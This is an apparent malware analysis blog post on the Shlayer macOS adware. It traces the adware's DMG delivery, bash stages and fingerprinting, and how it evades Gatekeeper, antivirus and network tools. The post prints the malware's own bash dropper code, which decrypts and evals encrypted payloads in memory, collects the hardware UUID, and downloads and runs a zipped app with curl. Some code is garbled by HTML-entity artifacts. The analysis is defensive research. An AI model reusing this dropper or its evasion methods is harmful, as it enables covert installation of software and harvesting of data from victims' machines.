The Malware Shlayer

As Mac malware becomes more widespread, and as detection mechanisms get more sophisticated, malware actors need to adapt. If not long ago almost any variant could easily run on any machine without any scrutiny, today it needs to hop over many obstacles. From google’s safe browsing, thru Apple’s Xprotect and Gatekeeper down to 3rd party AVs solutions and network appliances. We investigate these techniques to better develop mechanisms for better detection and removal of these threats. 

In this analysis of the Shlayer Adware. We review its infection flow with special attention to its evasion techniques. In our next report, we’ll investigate Shlayer’s extension deployment, and its mouse and search hijacking mechanisms,

We’ll provide a review of how Shlayer uses:

    • Bash scripts to evade static detection mechanisms
    • Dynamic content loading to evade Code-Signing and Safe-Browsing
    • Encryption to evade network security solutions

We also present the pre-encrypted data which Shlayer harvested from our lab’s victim machine. With this data Shlayer’s C&C determines whether, and how to further attack the machine, e.g.: which ‘offers’ to advertise; which apps and extensions to install, etc.

Stage 1: Infection, Decryption, and Unpacking

As with most cases, the malware spreads via free movies, free game sites, etc. The malicious file comes as a mountable DMG that includes a proper code-signed App-Bundle:

Malware Analysis Course

The App-Bundle includes 3 important files:

    • File 1 – The main binary executable: This is a clear-text bash script, which is located under the MacOS In this example the filename is: 9Vb2HR0. With other samples we checked, the filename was different.
    • Files 2 & 3 – encrypted files: The files enc and enc2 are encrypted, and located under the Resources

Malware Analysis Course

Below is the code of the main bash executable:

cd “$(dirname “$BASH_SOURCE”)”
fileDir=”$(dirname “$(pwd -P)”)”
eval “$(openssl enc -base64 -d -aes-256-cbc -nosalt -pass pass:6570001937)” <”$fileDir”/Resources/enc)”

As we can see, the bash script decrypts and executes the file enc.

Below is the decrypted content of enc, which runs in the memory:

tmp_path="$(mktemp -d /tmp/XXXXXXXXX)"
tmp_app="$tmp_path/Player_${pass: -3}.app"
openssl enc -base64 -d -aes-256-cbc -nosalt -out "$tmp_path/" -pass "pass:$pass" <enc2 unzip "$tmp_path/" -d "$tmp_path" > /dev/null 2>&1
chmod 777 "$tmp_app/Contents/MacOS/*"
open -a "$tmp_app""

This code again decrypts the file enc2 (which is a compressed file), and then unzip it to the path: /tmp/<random_name>/Player_<variant_id>.app

The decryption mechanism is pretty simple: base64 and AES with a password. In this scenario, the password is 6570001937.

While the encryption mechanism is somewhat simple, it is yet effective as Shlayer successfully utilizes it to evade static analysis and static-based Antiviruses: The malicious code which executes by the eval command runs in the memory level. Consequently, no decrypted files which contain the maliciously executed code are stored in the file system.

Stage 2: Decryption, Download, and Execution

The main App-Bundle of the second stage (previously decrypted enc2 file) is very similar to the App-Bundle and main bash executable of the first stage: it uses the same password used in the stage1, to decrypt the additional enc file.

Below is a dump of the code of the 2nd stage enc from runtime memory. To simplify  readability, we manually reconstructed the code:


for ((i=0; i&amp;amp;amp;amp;lt;${#1}; i+=2))
do __return_var="$__return_var
$(printf "%02x" $(( ((0x${1:$i:2})) ^ ((0x${2:$x:2})) )) )"
if (( (x+=2)&amp;amp;amp;amp;gt;=${#2} ));
then ((x=0));
fi done #check this

if [[ "$3" ]];
then eval "$3='$__return_var'";
else echo -n "$__return_var";
b64_decode=$(base64 --decode &amp;amp;amp;amp;lt;(printf "$1"));
xxd=$(xxd -pu &amp;amp;amp;amp;lt;(printf "$2"));
__return_var="$(xxd -r -p &amp;amp;amp;amp;lt;(decode_decrypt_iteration "$b64_decode" "$xxd"))"
if [[ "$3" ]];
then eval "$3='$__return_var'";
else echo -n "$__return_var";
encoded_string="MTUxMj… (long base64 string)"
eval "$(decode_decrypt "$encoded_string" "$decryption_key")"

The code from the eval command above gives us the last bash code that runs also in the memory level, as shown below:

function getVolumeName() {
excludedDirs=('/Volumes/Preboot/' '/Volumes/Macintosh HD/' '/Volumes/Recovery/')

for volumeDir in /Volumes/*/
for excludedDir in "${excludedDirs[@]}"
if [[ "$excludedDir" == "$volumeDir" ]]; then
if [ $skip == 1 ]; then

if [ -d "$volumeDir/$1" ]; then
echo "$volumeDir";
appDir="$(dirname $(dirname "$currentDir"))"
appName="$(basename "$appDir")"
volume_name="$(getVolumeName "$appName")"
os_version="$(sw_vers -productVersion)"
machine_id="$(echo -n "$(ioreg -rd1 -c IOPlatformExpertDevice | grep -o '"IOPlatformUUID" = "\(.*\)"' | sed -E -n '[email protected]*"([^"]+)"@\[email protected]')" | tr -dc '[[:print:]]')"
tmp_path="$(mktemp /tmp/XXXXXXXXX)"
curl -f0L "$url" &amp;amp;gt;/dev/null 2&amp;amp;gt;&amp;amp;amp;1 &amp;amp;gt;&amp;amp;gt;$tmp_path
app_dir="$(mktemp -d /tmp/XXXXXXXX)/"
unzip -P "$unzip_password" "$tmp_path" -d "$app_dir" &amp;amp;gt; /dev/null 2&amp;amp;gt;&amp;amp;amp;1
rm -f $tmp_path
file_name="$(grep -m1 -v "*.app" &amp;amp;lt;(ls -1 "$app_dir"))"
volume_name="${volume_name// /%20}"
chmod +x "$app_dir$file_name/Contents/MacOS"/*
open -a "$app_dir$file_name" --args "s" "$session_guid" "$volume_name"

The above code collects basic information from the victim’s machine, including Hardware-UUID, session_guid, OS_version, and volume_name. Then the collected data is sent to a Shlayer’s C&C IP address, using an HTTP-GET request with cURL:

Malware Analysis Course

The HTTP-GET request parameters are explained:

Below is a list of the HTTP-GET parameters, and the data sent with each parameter.

    • c = probably a Campaign ID
    • u = Hardware UUID
    • s = Session GUID
    • o = OS version
    • b = The password which was used in previous bash stages

If the server is satisfied with the received information, it responds with a download redirection (which is further described in the 3rd stage below).

Malware Analysis Course

As we can understand from the previous bash script:

    • The “3rd stage” ZIP file is downloaded to: /tmp/<random_folder_name>
    • It is then unzipped with a password
    • The files under Contents/MacOS get execution permission
    • The app is executed with arguments “s“, “session_guid” and “volume_name“. This checks if the DMG that contains the first stage App-Bundle is currently mounted to the system. If so, the app loads the installer. Otherwise, the app exits and terminates the process.
    • The full path of the main Mach-O installer (discussed in Stage 3 below) is: /tmp/<random_folder_name>/<name of the Mach-O installer> (in this case: 18EA04C0917E)

Stage 3: Fingerprinting, Traffic Encryption, and Offers

This is what the 3rd stage Mach-O installer (18EA04C0917E) looks like:

Malware Analysis Course

Before the installation GUI is presented to the victim, we noticed network traffic with an encrypted payload that was transmitted, to and to and to-and-from several remote servers. The transmitted data is used to determine the victim’s relevant offers, as discussed in more detail below, in Fingerprinting – The Harvested Data.

Here is an overview of the HTTP request packets:

Malware Analysis Course

We can notice that all servers are hosted in the same network ( CIDR).

To reveal where the threat actor’s servers reside (C&C), we used a Whois query. As shown below, the result indicates that the IPs come from an Israeli-based ISP:

Malware Analysis Course

Below is an example of one of the encrypted payloads, sent from our Victim machine to the C&C:

Malware Analysis Course

Fingerprinting – The Harvested Data

Before the encryption occurs, Shlayer’s “3rd stage” Mach-O installer harvests information such as browser versions, Hardware-UUID, Serial Number, MAC address, and more, to fingerprint the victim’s machine. With this information, Shlayer determines which applications and extensions to provide the victim with.

Below we can see part of the data sent before the encryption takes place:

Malware Analysis Course

Furthermore, the image below shows part of the symbol table of the 18EA04C0917E Mach-O binary (using the nm -m command), which displays a few encrypt/decrypt functions which validate the encrypted data/payload HTTP exfiltration method used by the Shlayer malware as demonstrated before in the blog:

Malware Analysis Course

Evasion Techniques – Summary

Here is a summary of the evasion techniques implemented by Shlayer:

    1. Static Detection: In each one of the stages described above, Shlayer decrypts files and executes their code in runtime memory. This technique allows Shlayer to evade static detection mechanisms, such as old-school static anti-virus solutions.
    2. Code-Signing & Safe-Browsing: Shalyer evades Apple’s Code-Signing and Safe-Browsing security mechanisms (such as by Chrome and Safari), by utilizing dynamic content download (as further described in stage 2 above).
    3. Network Security: Shlayer transmits encrypted payloads over the network, thus it evades network security solutions.

In Conclusion

The Shlayer Adware disguises as a legitimate Flash-Player installer. It uses a few simple and evasive Bash scripts, which act as droppers. After two stages where Bash scripts are executed, the Mach-O binary installer is executed.

Then victims are fingerprinted as their system information such as MAC address and Hardware UUID is harvested. Finally, Shlayer encrypts the data and sends it to a remote C&C to determine the specific applications and extensions to provide the victim.

The approach of either dropping stages, mixed with the 3rd Mach-O installer, is interesting as it manages to successfully evade all of the following security measures:

    • Apple’s built-in security mechanisms
    • Antiviruses, either static or dynamic in some cases.
    • Network security solutions